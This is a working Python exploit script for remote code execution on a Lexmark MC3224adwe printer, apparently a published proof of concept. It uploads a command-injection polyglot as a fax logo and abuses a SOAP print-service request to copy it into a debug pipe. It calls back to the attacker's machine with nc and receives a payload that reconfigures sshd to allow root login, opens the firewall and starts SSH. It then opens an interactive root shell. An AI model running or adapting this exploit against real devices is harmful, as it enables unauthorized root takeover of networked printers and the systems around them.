#!
/usr/bin/env python
from threading import Thread
import time
import sys
import uuid
import requests
import socket
import os
from datetime import datetime
MAXTIME = (60*5)
LOCAL_PORT_ROOT = 1912
def banner():
print("")
print(" $$$ Lexmark MC3224adwe RCE Exploit $$$")
print(" -- by blasty <peter@haxx.in> -- ")
print("")
def usage():
print(" usage: %s <target ip> <local ip>" % sys.argv[0])
print("")
exit(0)
COMMANDS_LPE="""
cat << EOF > /dev/shm/q.sh
#!/bin/sh
sed -Ee 's/(RSAAuthentication|UsePrivilegeSeparation|UseLogin)/#\\ 1/g' \
-e 's/AllowUsers guest/AllowUsers root guest/' \
/etc/ssh/sshd_config_perf > /tmp/sshconf
mkdir /var/run/sshd
iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT
nohup /usr/sbin/sshd -f /tmp/sshconf &
EOF
sh /dev/shm/q.sh
"""
LOGO_SRC_FILE = "/var/fs/shared/faxdata/logo"
FWDEBUG_PIPE = "/run/svcerr/auto_fwdebug_pipe"
SOAP_A="""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"
xmlns:wse="http://schemas.xmlsoap.org/ws/2004/08/eventing"
xmlns:ew="http://www.example.com/warnings"
xmlns:prt="http://schemas.microsoft.com/windows/2006/08/wdp/print">
<soap:Header>
<wsa:Action>http://schemas.xmlsoap.org/ws/2004/08/eventing/Subscribe</wsa:Action>
<wsa:MessageID>
uuid:UUID_VALUE
</wsa:MessageID>
<wsa:ReplyTo>
<wsa:Address>http://127.0.0.1:12039/EP1</wsa:Address>
</wsa:ReplyTo>
<wsa:To>http://REMOTE_IP:65002</wsa:To>
</soap:Header>
<soap:Body>
<wse:Subscribe>
<wse:EndTo>
<wsa:Address>http://127.0.0.1:12039/EP2</wsa:Address>
<wsa:ReferenceProperties>
<ew:MySubscription>1234</ew:MySubscription>
</wsa:ReferenceProperties>
<wsa:ReferenceParameters>
<wse:Identifier>IDID-1</wse:Identifier>
</wsa:ReferenceParameters>
</wse:EndTo>
<wse:Delivery>
<wse:NotifyTo>
<wsa:Address>http://127.0.0.1:12039/EP3
/fax misc copyfile SOURCE DESTINATION_A
/fax misc copyfile SOURCE DESTINATION_B
/quit
/exit

</wsa:Address>
<wsa:ReferenceParameters>
<wse:Identifier>SCOOBYSNAX</wse:Identifier>
</wsa:ReferenceParameters>
</wse:NotifyTo>
</wse:Delivery>
<wse:Filter>http://schemas.microsoft.com/windows/2006/08/wdp/print/JobStatusEvent</wse:Filter>
</wse:Subscribe>
</soap:Body>
</soap:Envelope>
"""
SOAP_B="""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"
xmlns:wse="http://schemas.xmlsoap.org/ws/2004/08/eventing"
xmlns:ew="http://www.example.com/warnings"
xmlns:pri="http://schemas.microsoft.com/windows/2006/08/wdp/print">
<soap:Header>
<wsa:Action>http://schemas.microsoft.com/windows/2006/08/wdp/print/CreatePrintJob</wsa:Action>
<wsa:MessageID>
uuid:UUID_VALUE
</wsa:MessageID>
<wsa:ReplyTo>
<wsa:Address>http://1.2.3.4:1337</wsa:Address>
</wsa:ReplyTo>
<wsa:To>http://REMOTE_IP:65002</wsa:To>
</soap:Header>
<soap:Body>
<pri:CreatePrintJobRequest>
<pri:PrintTicket>
<pri:JobDescription>
<pri:JobName>JOBNAME</pri:JobName>
<pri:JobOriginatingUserName>user</pri:JobOriginatingUserName>
</pri:JobDescription>
</pri:PrintTicket>
</pri:CreatePrintJobRequest>
</soap:Body>
</soap:Envelope>
"""
def report(indicator, tag, text):
if indicator == "x":
indicator_col = "\x1b[31m"
else:
indicator_col = "\x1b[32m"
now = datetime.now()
print("<%s > [\x1b[1m%s%s\x1b[0m] \x1b[1m%s \x1b[0m: %s " % (
now.strftime("%H:%M:%S"), indicator_col, indicator, tag, text
))
if indicator == "x":
exit(-1)
def clock_task():
n = 0
while True:
time.sleep(15)
n += 15
report('i', 'CLOCK', "%d seconds elapsed.." % n)
global stop_clock
if stop_clock:
return
def listener_task(port, tag, send_data = None):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', port))
s.listen(2)
conn, address = s.accept()
report('!', tag, "YES! Connection from: %s " % str(address))
r = conn.recv(1024)
if send_data is not None:
conn.send(send_data)
conn.close()
return r
def root_shell_task():
r = listener_task(LOCAL_PORT_ROOT, "ROOT-SHELL", COMMANDS_LPE.encode('utf8'))
report('!', 'ROOT-SHELL', "id output: " + r.decode('utf8'))
def write_logo_file(data):
r = requests.post(
"http://%s /webglue/uploadfile/ImportFaxLogo" % g_target,
files={
'x': data
}
)
def copy_file(src, dst_a, dst_b):
report('~', "SSRF", "trigger part 1")
uuid_val = str(uuid.uuid4())
body_a = SOAP_A.replace("REMOTE_IP", g_target)
body_a = body_a.replace("SOURCE", src)
body_a = body_a.replace("DESTINATION_A", dst_a)
body_a = body_a.replace("DESTINATION_B", dst_b)
body_a = body_a.replace("UUID_VALUE", uuid_val)
body_b = SOAP_B.replace("REMOTE_IP", g_target)
body_b = body_b.replace("UUID_VALUE", uuid_val)
r = requests.post(
"http://%s :65002/" % g_target,
headers = headers,
data = body_a
)
if r.status_code != 200:
report('x', 'SSRF', 'trigger part 1 failed')
exit(-1)
report('~', "SSRF", "trigger part 2")
r = requests.post(
"http://%s :65002/" % g_target,
headers = headers,
data = body_b
)
if r.status_code != 200:
report('x', 'SSRF', 'trigger part 2 failed')
exit(-1)
time.sleep(5)
return True
if __name__ == "__main__":
banner()
if len(sys.argv) != 3:
usage()
g_target = sys.argv[1]
g_local_ip = sys.argv[2]
stop_clock = False
thread_clock = Thread(target=clock_task)
thread_root_shell = Thread(target=root_shell_task)
thread_clock.start()
report('i', "HACK", "attacking %s , sending shells to %s " % (g_target, g_local_ip))
thread_root_shell.start()
starttime = datetime.now()
headers = {
"Content-Type": "application/soap+xml"
}
polyglot = "lol;\" ;sh /tmp/xyz # \" ; id | nc LOCAL_IP LOCAL_PORT_ROOT | sh # "
polyglot = polyglot.replace("LOCAL_IP", g_local_ip)
polyglot = polyglot.replace("LOCAL_PORT_ROOT", str(LOCAL_PORT_ROOT))
report('~', "UPLOAD", "upload lpe polyglot")
write_logo_file(polyglot.encode('utf8'))
report('~', "COPY", "copy polyglot to /tmp and pipe")
copy_file(LOGO_SRC_FILE, "/tmp/xyz", FWDEBUG_PIPE)
report('~', "WAIT", "patience you must have, my young padawan")
thread_root_shell.join()
stop_clock = True
endtime = datetime.now()
delta = endtime - starttime
report('i', "HACK", "pwning took %d seconds!" % delta.seconds)
if delta.seconds > MAXTIME:
report('-', "HACK", "we ran out of wallclock time :(")
else:
report(
'!', "HACK",
"we have %d seconds left, phew!" % (MAXTIME - delta.seconds)
)
report('?', "HACK", "lets see if our ssh daemon is alive..")
ssh_try = 0
while True:
report('*', 'HACK', "(%d ) attempting to connect to ssh.." % ssh_try)
try:
s = socket.create_connection((g_target, 22))
r = s.recv(1024)
report('!', 'HACK', "YES! ssh banner: " + r.decode('utf8'))
break
except:
pass
ssh_try = ssh_try + 1
time.sleep(0.5)
login_cmd = "/bin/bash -l"
ssh_cmd = "ssh -t -i ssh_key/id_rsa_lexmark -o UserKnownHostsFile=/dev/null -o
'StrictHostKeyChecking no' root@%s '%s '" % (
g_target, login_cmd
)
report('!', "HACK", "spawning flair and interactive ssh shell..")
os.system(ssh_cmd)
print("*** GOODBYE ***")
exit(0)